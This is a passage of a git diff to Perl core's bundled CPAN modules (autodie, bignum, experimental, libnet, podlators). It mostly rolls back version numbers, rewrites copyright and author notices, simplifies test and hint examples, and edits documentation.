-ok(':io' ~~ $@, "Exception from open / class :io" ); -ok(':all' ~~ $@, "Exception from open / class :all" ); +ok($@ ~~ 'open', "Exception from open" ); +ok($@ ~~ ':file', "Exception from open / class :file" ); +ok($@ ~~ ':io', "Exception from open / class :io" ); +ok($@ ~~ ':all', "Exception from open / class :all" ); eval { no warnings 'once'; # To prevent the following close from complaining. @@ -39,10 +39,10 @@ eval { like($@, qr{Can't close filehandle 'THIS_FILEHANDLE_AINT_OPEN'},"Nice msg from close"); ok($@, "Exception thrown" ); -ok('close' ~~ $@, "Exception from close" ); -ok(':file' ~~ $@, "Exception from close / class :file" ); -ok(':io' ~~ $@, "Exception from close / class :io" ); -ok(':all' ~~ $@, "Exception from close / class :all" ); +ok($@ ~~ 'close', "Exception from close" ); +ok($@ ~~ ':file', "Exception from close / class :file" ); +ok($@ ~~ ':io', "Exception from close / class :io" ); +ok($@ ~~ ':all', "Exception from close / class :all" ); ok $@ eq $@.'', "string overloading is complete (eq)"; ok( ($@ cmp $@.'') == 0, "string overloading is complete (cmp)" ); diff --git a/cpan/autodie/t/lib/Hints_pod_examples.pm b/cpan/autodie/t/lib/Hints_pod_examples.pm index 72a58a5ce577..05db908e181c 100644 --- a/cpan/autodie/t/lib/Hints_pod_examples.pm +++ b/cpan/autodie/t/lib/Hints_pod_examples.pm @@ -17,17 +17,17 @@ use autodie::hints; sub AUTODIE_HINTS { return { # Scalar failures always return undef: - undef_scalar => { fail => sub { !defined($_[0]) } }, + undef_scalar => { fail => undef }, # Scalar failures return any false value [default behaviour]: false_scalar => { fail => sub { return ! $_[0] } }, # Scalar failures always return zero explicitly: - zero_scalar => { fail => sub { defined($_[0]) && $_[0] eq '0' } }, + zero_scalar => { fail => '0' }, # List failures always return empty list: # We never want these called in a scalar context - empty_list => { scalar => sub { 1 }, list => sub { !@_ } }, + empty_list => { scalar => sub { 1 }, list => [] }, # List failures return C<()> or C<(undef)> [default expectation]: default_list => { fail => sub { ! @_ || @_ == 1 && !defined $_[0] } }, @@ -54,8 +54,8 @@ sub undef_n_error_list { return wantarray ? @_ : $_[0] } autodie::hints->set_hints_for( \&foo, { - scalar => sub { defined($_[0]) && $_[0] == 0 }, - list => sub { @_ == 1 && defined($_[0]) && $_[0] == 0 }, + scalar => 0, + list => [0], } ); @@ -67,7 +67,7 @@ autodie::hints->set_hints_for( \&re_fail, { scalar => qr/^ _? FAIL $/xms, - list => sub { @_ == 1 && $_[0] eq -1 }, + list => [-1], } ); @@ -77,8 +77,8 @@ sub re_fail { return wantarray ? @_ : $_[0] } autodie::hints->set_hints_for( \&bar, { - scalar => sub { defined($_[0]) && $_[0] == 0 }, - list => sub { @_ == 1 && defined($_[0]) && $_[0] == 0 }, + scalar => 0, + list => [0], } ); diff --git a/cpan/bignum/lib/Math/BigFloat/Trace.pm b/cpan/bignum/lib/Math/BigFloat/Trace.pm index 04dec98bc5e5..13ec47f274e2 100644 --- a/cpan/bignum/lib/Math/BigFloat/Trace.pm +++ b/cpan/bignum/lib/Math/BigFloat/Trace.pm @@ -2,7 +2,7 @@ package Math::BigFloat::Trace; -require 5.010; +require 5.006; use strict; use warnings; @@ -13,7 +13,7 @@ our ($accuracy, $precision, $round_mode, $div_scale); our @ISA = qw(Exporter Math::BigFloat); -our $VERSION = '0.49'; +our $VERSION = '0.47'; use overload; # inherit overload from Math::BigFloat diff --git a/cpan/bignum/lib/Math/BigInt/Trace.pm b/cpan/bignum/lib/Math/BigInt/Trace.pm index 5f83c79210fc..dc915983f0fc 100644 --- a/cpan/bignum/lib/Math/BigInt/Trace.pm +++ b/cpan/bignum/lib/Math/BigInt/Trace.pm @@ -2,7 +2,7 @@ package Math::BigInt::Trace; -require 5.010; +require 5.006; use strict; use warnings; @@ -13,7 +13,7 @@ our ($accuracy, $precision, $round_mode, $div_scale); our @ISA = qw(Exporter Math::BigInt); -our $VERSION = '0.49'; +our $VERSION = '0.47'; use overload; # inherit overload from Math::BigInt diff --git a/cpan/bignum/lib/bigint.pm b/cpan/bignum/lib/bigint.pm index 92aeae8b0799..fa9a705b6e59 100644 --- a/cpan/bignum/lib/bigint.pm +++ b/cpan/bignum/lib/bigint.pm @@ -1,10 +1,10 @@ package bigint; -use 5.010; +use 5.006; use strict; use warnings; -our $VERSION = '0.49'; +our $VERSION = '0.47'; use Exporter; our @ISA = qw( Exporter ); diff --git a/cpan/bignum/lib/bignum.pm b/cpan/bignum/lib/bignum.pm index e052aabe293c..4e09dcb72206 100644 --- a/cpan/bignum/lib/bignum.pm +++ b/cpan/bignum/lib/bignum.pm @@ -1,10 +1,10 @@ package bignum; -use 5.010; +use 5.006; use strict; use warnings; -our $VERSION = '0.49'; +our $VERSION = '0.47'; use Exporter; our @ISA = qw( bigint ); diff --git a/cpan/bignum/lib/bigrat.pm b/cpan/bignum/lib/bigrat.pm index 45682f7bbe94..b0c36643a689 100644 --- a/cpan/bignum/lib/bigrat.pm +++ b/cpan/bignum/lib/bigrat.pm @@ -1,10 +1,10 @@ package bigrat; -use 5.010; +use 5.006; use strict; use warnings; -our $VERSION = '0.49'; +our $VERSION = '0.47'; use Exporter; our @ISA = qw( bigint ); diff --git a/cpan/experimental/lib/experimental.pm b/cpan/experimental/lib/experimental.pm index 6c0b49ee1b3e..8d747518d196 100644 --- a/cpan/experimental/lib/experimental.pm +++ b/cpan/experimental/lib/experimental.pm @@ -1,10 +1,10 @@ package experimental; -$experimental::VERSION = '0.019'; +$experimental::VERSION = '0.016'; use strict; use warnings; use version (); -BEGIN { eval { require feature } }; +use feature (); use Carp qw/croak carp/; my %warnings = map { $_ => 1 } grep { /^experimental::/ } keys %warnings::Offsets; @@ -21,7 +21,6 @@ my %min_version = ( array_base => '5', autoderef => '5.14.0', bitwise => '5.22.0', - const_attr => '5.22.0', current_sub => '5.16.0', evalbytes => '5.16.0', fc => '5.16.0', @@ -40,7 +39,6 @@ my %min_version = ( unicode_strings => '5.12.0', ); my %max_version = ( - autoderef => '5.23.1', lexical_topic => '5.23.4', ); @@ -130,7 +128,7 @@ experimental - Experimental features made easy =head1 VERSION -version 0.019 +version 0.016 =head1 SYNOPSIS @@ -161,67 +159,16 @@ To disable the feature and, if applicable, re-enable any warnings, use: The supported features, documented further below, are: -=over 4 - -=item * C - allow the use of C<$[> to change the starting index of C<@array>. - -This is supported on all versions of perl. - -=item * C - allow push, each, keys, and other built-ins on references. - -This was added in perl 5.14.0 and removed in perl 5.23.1. - -=item * C - allow the new stringwise bit operators - -This was added in perl 5.22.0. - -=item * C - allow the :const attribute on subs - -This was added in perl 5.22.0. - -=item * C - allow the use of lexical C<$_> via C. - -This was added in perl 5.10.0 and removed in perl 5.23.4. - -=item * C - allow the use of lexical subroutines. - -This was added in 5.18.0. - -=item * C - allow the use of postfix dereferencing expressions, -including in interpolating strings - -This was added in perl 5.20.0. - -=item * C - enables strict mode in regular expressions - -This was added in perl 5.22.0. - -=item * C - allow aliasing via C<\$x = \$y> - -This was added in perl 5.22.0. - -=item * C - allow extended bracketed character classes in regexps - -This was added in perl 5.18.0. - -=item * C - allow subroutine signatures (for named arguments) - -This was added in perl 5.20.0. - -=item * C - allow the use of C<~~> - -This was added in perl 5.10.0, but it should be noted there are significant -incompatibilities between 5.10.0 and 5.10.1. - -=item * C - allow the use of C<~~>, given, and when - -This was added in perl 5.10.0. - -=item * C - allows the use of the :win32 IO layer. - -This was added on perl 5.22.0. - -=back + array_base - allow the use of $[ to change the starting index of @array + autoderef - allow push, each, keys, and other built-ins on references + lexical_topic - allow the use of lexical $_ via "my $_" + postderef - allow the use of postfix dereferencing expressions, including + in interpolating strings + refaliasing - allow aliasing via \$x = \$y + regex_sets - allow extended bracketed character classes in regexps + signatures - allow subroutine signatures (for named arguments) + smartmatch - allow the use of ~~ + switch - allow the use of ~~, given, and when =head2 Ordering matters @@ -248,10 +195,6 @@ on again by the Moose module (fix is to switch the last two lines): Because of the nature of the features it enables, forward compatibility can not be guaranteed in any way. -=head1 SEE ALSO - -L contains more information about experimental features. - =head1 AUTHOR Leon Timmermans diff --git a/cpan/experimental/t/basic.t b/cpan/experimental/t/basic.t index adfc56674440..a270fdfd91c6 100644 --- a/cpan/experimental/t/basic.t +++ b/cpan/experimental/t/basic.t @@ -1,8 +1,5 @@ #! perl -use strict; -use warnings; - use Test::More 0.89; local $SIG{__WARN__} = sub { fail("Got unexpected warning"); diag($_[0]) }; @@ -15,47 +12,31 @@ if ($] >= 5.010000) { 1; END } +else { + fail("No experimental features available on perl $]"); +} if ($] >= 5.010001) { - if (eval ' - no warnings "experimental"; - use feature "switch"; - if(0) { when(3) {} } - 1; - ') { - is (eval <<'END', 1, 'switch compiles') or diag $@; - use experimental 'switch'; - sub bar { 1 }; - given(1) { - when (\&bar) { - pass("bar matches 1"); - } - default { - fail("bar matches 1"); - } + is (eval <<'END', 1, 'switch compiles') or diag $@; + use experimental 'switch'; + sub bar { 1 }; + given(1) { + when (\&bar) { + pass("bar matches 1"); } - 1; -END - } else { - is (eval <<'END', 1, 'switch compiles') or diag $@; - use experimental 'switch'; - sub bar { 1 }; - given(1) { - whereso (\&bar) { - pass("bar matches 1"); - } + default { fail("bar matches 1"); } - 1; -END } + 1; +END } if ($] >= 5.010001) { is (eval <<'END', 1, 'smartmatch compiles') or diag $@; use experimental 'smartmatch'; - { package Baz; use overload "~~" => sub { 1 }; } - is(1 ~~ bless({}, "Baz"), 1, "is 1"); + sub bar { 1 }; + is(1 ~~ \&bar, 1, "is 1"); 1; END } @@ -72,7 +53,6 @@ END if ($] >= 5.021005) { is (eval <<'END', 1, 'ref aliasing compiles') or diag $@; use experimental 'refaliasing'; - my (@a, @b); \@a = \@b; is(\@a, \@b, '@a and @b are the same after \@a=\@b'); 1; diff --git a/cpan/libnet/Makefile.PL b/cpan/libnet/Makefile.PL index 73be0a165449..3eb29858b74e 100644 --- a/cpan/libnet/Makefile.PL +++ b/cpan/libnet/Makefile.PL @@ -66,7 +66,7 @@ MAIN: { ABSTRACT => 'Collection of network protocol modules', AUTHOR => 'Graham Barr , Steve Hay ', LICENSE => 'perl_5', - VERSION => '3.11', + VERSION => '3.10', META_MERGE => { 'meta-spec' => { diff --git a/cpan/libnet/lib/Net/Cmd.pm b/cpan/libnet/lib/Net/Cmd.pm index b695f64dd056..38054c41247f 100644 --- a/cpan/libnet/lib/Net/Cmd.pm +++ b/cpan/libnet/lib/Net/Cmd.pm @@ -1,7 +1,9 @@ # Net::Cmd.pm # -# Copyright (C) 1995-2006 Graham Barr. All rights reserved. -# Copyright (C) 2013-2016 Steve Hay. All rights reserved. +# Versions up to 2.29_1 Copyright (c) 1995-2006 Graham Barr . +# All rights reserved. +# Changes in Version 2.29_2 onwards Copyright (C) 2013-2015 Steve Hay. All +# rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -26,7 +28,7 @@ BEGIN { } } -our $VERSION = "3.11"; +our $VERSION = "3.10"; our @ISA = qw(Exporter); our @EXPORT = qw(CMD_INFO CMD_OK CMD_MORE CMD_REJECT CMD_ERROR CMD_PENDING); @@ -853,18 +855,16 @@ of C and C. The sixth is C. =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1995-2006 Graham Barr. All rights reserved. - -Copyright (C) 2013-2016 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.29_1 Copyright (c) 1995-2006 Graham Barr. All rights reserved. +Changes in Version 2.29_2 onwards Copyright (C) 2013-2014 Steve Hay. All rights +reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/Config.pm b/cpan/libnet/lib/Net/Config.pm index 4f822a40a45e..a5935382bc4b 100644 --- a/cpan/libnet/lib/Net/Config.pm +++ b/cpan/libnet/lib/Net/Config.pm @@ -1,7 +1,9 @@ # Net::Config.pm # -# Copyright (C) 2000 Graham Barr. All rights reserved. -# Copyright (C) 2013-2014, 2016 Steve Hay. All rights reserved. +# Versions up to 1.11 Copyright (c) 2000 Graham Barr . +# All rights reserved. +# Changes in Version 1.11_01 onwards Copyright (C) 2013-2014 Steve Hay. All +# rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -18,7 +20,7 @@ use Socket qw(inet_aton inet_ntoa); our @EXPORT = qw(%NetConfig); our @ISA = qw(Net::LocalCfg Exporter); -our $VERSION = "3.11"; +our $VERSION = "3.10"; our($CONFIGURE, $LIBNET_CFG); @@ -325,18 +327,16 @@ If true then C will check each hostname given that it exists =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1998-2011 Graham Barr. All rights reserved. - -Copyright (C) 2013-2014, 2016 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 1.11 Copyright (c) 1998-2011 Graham Barr. All rights reserved. +Changes in Version 1.11_01 onwards Copyright (C) 2013-2014 Steve Hay. All +rights reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/Domain.pm b/cpan/libnet/lib/Net/Domain.pm index 556cc1598075..796bbaf81f19 100644 --- a/cpan/libnet/lib/Net/Domain.pm +++ b/cpan/libnet/lib/Net/Domain.pm @@ -1,7 +1,9 @@ # Net::Domain.pm # -# Copyright (C) 1995-1998 Graham Barr. All rights reserved. -# Copyright (C) 2013-2014 Steve Hay. All rights reserved. +# Versions up to 2.21 Copyright (c) 1995-1998 Graham Barr . +# All rights reserved. +# Changes in Version 2.22 onwards Copyright (C) 2013-2014 Steve Hay. All rights +# reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -19,7 +21,7 @@ use Net::Config; our @ISA = qw(Exporter); our @EXPORT_OK = qw(hostname hostdomain hostfqdn domainname); -our $VERSION = "3.11"; +our $VERSION = "3.10"; my ($host, $domain, $fqdn) = (undef, undef, undef); @@ -344,19 +346,16 @@ Returns the remainder of the FQDN after the I has been removed. =head1 AUTHOR Graham Barr EFE. - -Adapted from Sys::Hostname by David Sundstrom EFE. +Adapted from Sys::Hostname by David Sundstrom EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1995-1998 Graham Barr. All rights reserved. - -Copyright (C) 2013-2014 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.21 Copyright (c) 1995-1998 Graham Barr. All rights reserved. +Changes in Version 2.22 onwards Copyright (C) 2013-2014 Steve Hay. All rights +reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/FTP.pm b/cpan/libnet/lib/Net/FTP.pm index 14153be0d0c0..905d83019cbf 100644 --- a/cpan/libnet/lib/Net/FTP.pm +++ b/cpan/libnet/lib/Net/FTP.pm @@ -1,7 +1,9 @@ # Net::FTP.pm # -# Copyright (C) 1995-2004 Graham Barr. All rights reserved. -# Copyright (C) 2013-2017 Steve Hay. All rights reserved. +# Versions up to 2.77_2 Copyright (c) 1995-2004 Graham Barr . +# All rights reserved. +# Changes in Version 2.77_3 onwards Copyright (C) 2013-2015 Steve Hay. All +# rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -23,7 +25,7 @@ use Net::Config; use Socket; use Time::Local; -our $VERSION = '3.11'; +our $VERSION = '3.10'; our $IOCLASS; my $family_key; @@ -668,7 +670,7 @@ sub rmdir { # Try to delete the contents # Get a list of all the files in the directory, excluding the current and parent directories - my @filelist = map { /^(?:\S+;)+ (.+)$/ ? ($1) : () } grep { !/^(?:\S+;)*type=[cp]dir;/i } $ftp->_list_cmd("MLSD", $dir); + my @filelist = map { /^(?:\S+;)+ (.+)$/ ? ($1) : () } grep { !/^(?:\S+;)*type=[cp]dir;/ } $ftp->_list_cmd("MLSD", $dir); # Fallback to using the less well-defined NLST command if MLSD fails @filelist = grep { !/^\.{1,2}$/ } $ftp->ls($dir) @@ -1996,10 +1998,10 @@ run of your program which does yield the problem. =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 SEE ALSO @@ -2036,11 +2038,9 @@ Roderick Schertler - for various inputs =head1 COPYRIGHT -Copyright (C) 1995-2004 Graham Barr. All rights reserved. - -Copyright (C) 2013-2017 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.77_2 Copyright (c) 1995-2004 Graham Barr. All rights reserved. +Changes in Version 2.77_3 onwards Copyright (C) 2013-2015 Steve Hay. All rights +reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/FTP/A.pm b/cpan/libnet/lib/Net/FTP/A.pm index 0ea1ba2fbd23..c889687b1584 100644 --- a/cpan/libnet/lib/Net/FTP/A.pm +++ b/cpan/libnet/lib/Net/FTP/A.pm @@ -13,7 +13,7 @@ use Carp; use Net::FTP::dataconn; our @ISA = qw(Net::FTP::dataconn); -our $VERSION = "3.11"; +our $VERSION = "3.10"; our $buf; diff --git a/cpan/libnet/lib/Net/FTP/E.pm b/cpan/libnet/lib/Net/FTP/E.pm index 30b371a58b14..8ebec64345d2 100644 --- a/cpan/libnet/lib/Net/FTP/E.pm +++ b/cpan/libnet/lib/Net/FTP/E.pm @@ -8,6 +8,6 @@ use warnings; use Net::FTP::I; our @ISA = qw(Net::FTP::I); -our $VERSION = "3.11"; +our $VERSION = "3.10"; 1; diff --git a/cpan/libnet/lib/Net/FTP/I.pm b/cpan/libnet/lib/Net/FTP/I.pm index ec46ab0fdabd..b55002f8d60f 100644 --- a/cpan/libnet/lib/Net/FTP/I.pm +++ b/cpan/libnet/lib/Net/FTP/I.pm @@ -13,7 +13,7 @@ use Carp; use Net::FTP::dataconn; our @ISA = qw(Net::FTP::dataconn); -our $VERSION = "3.11"; +our $VERSION = "3.10"; our $buf; diff --git a/cpan/libnet/lib/Net/FTP/L.pm b/cpan/libnet/lib/Net/FTP/L.pm index d9a88576d991..e4ab31efd740 100644 --- a/cpan/libnet/lib/Net/FTP/L.pm +++ b/cpan/libnet/lib/Net/FTP/L.pm @@ -8,6 +8,6 @@ use warnings; use Net::FTP::I; our @ISA = qw(Net::FTP::I); -our $VERSION = "3.11"; +our $VERSION = "3.10"; 1; diff --git a/cpan/libnet/lib/Net/FTP/dataconn.pm b/cpan/libnet/lib/Net/FTP/dataconn.pm index 337b0e999bc5..6f5d8b3108d1 100644 --- a/cpan/libnet/lib/Net/FTP/dataconn.pm +++ b/cpan/libnet/lib/Net/FTP/dataconn.pm @@ -13,7 +13,7 @@ use Carp; use Errno; use Net::Cmd; -our $VERSION = '3.11'; +our $VERSION = '3.10'; $Net::FTP::IOCLASS or die "please load Net::FTP before Net::FTP::dataconn"; our @ISA = $Net::FTP::IOCLASS; diff --git a/cpan/libnet/lib/Net/NNTP.pm b/cpan/libnet/lib/Net/NNTP.pm index 0c22930148a5..764d5805634e 100644 --- a/cpan/libnet/lib/Net/NNTP.pm +++ b/cpan/libnet/lib/Net/NNTP.pm @@ -1,7 +1,9 @@ # Net::NNTP.pm # -# Copyright (C) 1995-1997 Graham Barr. All rights reserved. -# Copyright (C) 2013-2016 Steve Hay. All rights reserved. +# Versions up to 2.24_1 Copyright (c) 1995-1997 Graham Barr . +# All rights reserved. +# Changes in Version 2.25 onwards Copyright (C) 2013-2015 Steve Hay. All rights +# reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -19,7 +21,7 @@ use Net::Cmd; use Net::Config; use Time::Local; -our $VERSION = "3.11"; +our $VERSION = "3.10"; # Code for detecting if we can use SSL my $ssl_class = eval { @@ -1282,18 +1284,16 @@ L =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1995-1997 Graham Barr. All rights reserved. - -Copyright (C) 2013-2016 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.24_1 Copyright (c) 1995-1997 Graham Barr. All rights reserved. +Changes in Version 2.25 onwards Copyright (C) 2013-2015 Steve Hay. All rights +reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/Netrc.pm b/cpan/libnet/lib/Net/Netrc.pm index 46fba2787c36..c075e1433cca 100644 --- a/cpan/libnet/lib/Net/Netrc.pm +++ b/cpan/libnet/lib/Net/Netrc.pm @@ -1,7 +1,9 @@ # Net::Netrc.pm # -# Copyright (C) 1995-1998 Graham Barr. All rights reserved. -# Copyright (C) 2013-2014 Steve Hay. All rights reserved. +# Versions up to 2.13 Copyright (c) 1995-1998 Graham Barr . +# All rights reserved. +# Changes in Version 2.13_01 onwards Copyright (C) 2013-2014 Steve Hay. All +# rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -16,7 +18,7 @@ use warnings; use Carp; use FileHandle; -our $VERSION = "3.11"; +our $VERSION = "3.10"; our $TESTING; @@ -322,10 +324,10 @@ Return a list of login, password and account information for the netrc entry =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 SEE ALSO @@ -334,11 +336,9 @@ L =head1 COPYRIGHT -Copyright (C) 1995-1998 Graham Barr. All rights reserved. - -Copyright (C) 2013-2014 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.13 Copyright (c) 1995-1998 Graham Barr. All rights reserved. +Changes in Version 2.13_01 onwards Copyright (C) 2013-2014 Steve Hay. All +rights reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/POP3.pm b/cpan/libnet/lib/Net/POP3.pm index 0811025b0a26..bb18aafec345 100644 --- a/cpan/libnet/lib/Net/POP3.pm +++ b/cpan/libnet/lib/Net/POP3.pm @@ -1,7 +1,9 @@ # Net::POP3.pm # -# Copyright (C) 1995-2004 Graham Barr. All rights reserved. -# Copyright (C) 2013-2016 Steve Hay. All rights reserved. +# Versions up to 2.29 Copyright (c) 1995-2004 Graham Barr . +# All rights reserved. +# Changes in Version 2.29_01 onwards Copyright (C) 2013-2015 Steve Hay. All +# rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -18,7 +20,7 @@ use IO::Socket; use Net::Cmd; use Net::Config; -our $VERSION = "3.11"; +our $VERSION = "3.10"; # Code for detecting if we can use SSL my $ssl_class = eval { @@ -843,18 +845,16 @@ L =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1995-2004 Graham Barr. All rights reserved. - -Copyright (C) 2013-2016 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.29 Copyright (c) 1995-2004 Graham Barr. All rights reserved. +Changes in Version 2.29_01 onwards Copyright (C) 2013-2015 Steve Hay. All +rights reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/SMTP.pm b/cpan/libnet/lib/Net/SMTP.pm index 5eaf4220b62b..0dd966fdf6fd 100644 --- a/cpan/libnet/lib/Net/SMTP.pm +++ b/cpan/libnet/lib/Net/SMTP.pm @@ -1,7 +1,9 @@ # Net::SMTP.pm # -# Copyright (C) 1995-2004 Graham Barr. All rights reserved. -# Copyright (C) 2013-2016 Steve Hay. All rights reserved. +# Versions up to 2.31_1 Copyright (c) 1995-2004 Graham Barr . +# All rights reserved. +# Changes in Version 2.31_2 onwards Copyright (C) 2013-2015 Steve Hay. All +# rights reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -19,7 +21,7 @@ use Net::Cmd; use Net::Config; use Socket; -our $VERSION = "3.11"; +our $VERSION = "3.10"; # Code for detecting if we can use SSL my $ssl_class = eval { @@ -1026,18 +1028,16 @@ L =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1995-2004 Graham Barr. All rights reserved. - -Copyright (C) 2013-2016 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.31_1 Copyright (c) 1995-2004 Graham Barr. All rights reserved. +Changes in Version 2.31_2 onwards Copyright (C) 2013-2015 Steve Hay. All rights +reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/Time.pm b/cpan/libnet/lib/Net/Time.pm index d049408538fd..9a7f3b244a48 100644 --- a/cpan/libnet/lib/Net/Time.pm +++ b/cpan/libnet/lib/Net/Time.pm @@ -1,7 +1,9 @@ # Net::Time.pm # -# Copyright (C) 1995-2004 Graham Barr. All rights reserved. -# Copyright (C) 2014 Steve Hay. All rights reserved. +# Versions up to 2.10 Copyright (c) 1995-2004 Graham Barr . +# All rights reserved. +# Changes in Version 2.11 onwards Copyright (C) 2014 Steve Hay. All rights +# reserved. # This module is free software; you can redistribute it and/or modify it under # the same terms as Perl itself, i.e. under the terms of either the GNU General # Public License or the Artistic License, as specified in the F file. @@ -22,7 +24,7 @@ use Net::Config; our @ISA = qw(Exporter); our @EXPORT_OK = qw(inet_time inet_daytime); -our $VERSION = "3.11"; +our $VERSION = "3.10"; our $TIMEOUT = 120; @@ -144,18 +146,16 @@ C. The result will be an ASCII string or I upon failure. =head1 AUTHOR -Graham Barr EFE. +Graham Barr EFE Steve Hay EFE is now maintaining libnet as of version -1.22_02. +1.22_02 =head1 COPYRIGHT -Copyright (C) 1995-2004 Graham Barr. All rights reserved. - -Copyright (C) 2014 Steve Hay. All rights reserved. - -=head1 LICENCE +Versions up to 2.11 Copyright (c) 1995-2004 Graham Barr. All rights reserved. +Changes in Version 2.11 onwards Copyright (C) 2014 Steve Hay. All rights +reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself, i.e. under the terms of either the GNU General Public diff --git a/cpan/libnet/lib/Net/libnetFAQ.pod b/cpan/libnet/lib/Net/libnetFAQ.pod index bcc53479ba9b..d844f6e51765 100644 --- a/cpan/libnet/lib/Net/libnetFAQ.pod +++ b/cpan/libnet/lib/Net/libnetFAQ.pod @@ -20,12 +20,11 @@ CPAN Request Tracker at =head1 Author and Copyright Information -Copyright (C) 1997-1998 Graham Barr. All rights reserved. +Copyright (c) 1997-1998 Graham Barr. All rights reserved. This document is free; you can redistribute it and/or modify it under the terms of the Artistic License. -Steve Hay EFE is now maintaining libnet as of version -1.22_02. +Currently maintained by Steve Hay . =head2 Disclaimer @@ -298,4 +297,6 @@ being sent or response being received. =head1 AUTHOR AND COPYRIGHT -Copyright (C) 1997-1998 Graham Barr. All rights reserved. +Copyright (c) 1997 Graham Barr. +All rights reserved. + diff --git a/cpan/podlators/lib/Pod/Man.pm b/cpan/podlators/lib/Pod/Man.pm index a737e5b3e94c..886f614c7e64 100644 --- a/cpan/podlators/lib/Pod/Man.pm +++ b/cpan/podlators/lib/Pod/Man.pm @@ -14,7 +14,7 @@ # Written by Russ Allbery # Substantial contributions by Sean Burke # Copyright 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, -# 2010, 2012, 2013, 2014, 2015, 2016, 2017 Russ Allbery +# 2010, 2012, 2013, 2014, 2015, 2016 Russ Allbery # # This program is free software; you may redistribute it and/or modify it # under the same terms as Perl itself. @@ -43,7 +43,7 @@ BEGIN { @ISA = qw(Pod::Simple); -$VERSION = '4.10'; +$VERSION = '4.09'; # Set the debugging level. If someone has inserted a debug function into this # class already, use that. Otherwise, use any Pod::Simple debug function @@ -535,8 +535,8 @@ sub guesswork { # strings inserted around things that we've made small-caps if later # transforms should work on those strings. - # Embolden functions in the form func(), including functions that are in - # all capitals, but don't embolden if there's anything between the parens. + # Italicize functions in the form func(), including functions that are in + # all capitals, but don't italize if there's anything between the parens. # The function must start with an alphabetic character or underscore and # then consist of word characters or colons. if ($$self{MAGIC_FUNC}) { @@ -544,11 +544,11 @@ sub guesswork { ( \b | \\s-1 ) ( [A-Za-z_] ([:\w] | \\s-?[01])+ \(\) ) } { - $1 . '\f(BS' . $2 . '\f(BE' + $1 . '\f(IS' . $2 . '\f(IE' }egx; } - # Change references to manual pages to put the page name in bold but + # Change references to manual pages to put the page name in italics but # the number in the regular font, with a thin space between the name and # the number. Only recognize func(n) where func starts with an alphabetic # character or underscore and contains only word characters, periods (for @@ -562,7 +562,7 @@ sub guesswork { ( [A-Za-z_] (?:[.:\w] | \\- | \\s-?[01])+ ) ( \( \d [a-z]* \) ) } { - $1 . '\f(BS' . $2 . '\f(BE\|' . $3 + $1 . '\f(IS' . $2 . '\f(IE\|' . $3 }egx; } @@ -800,16 +800,13 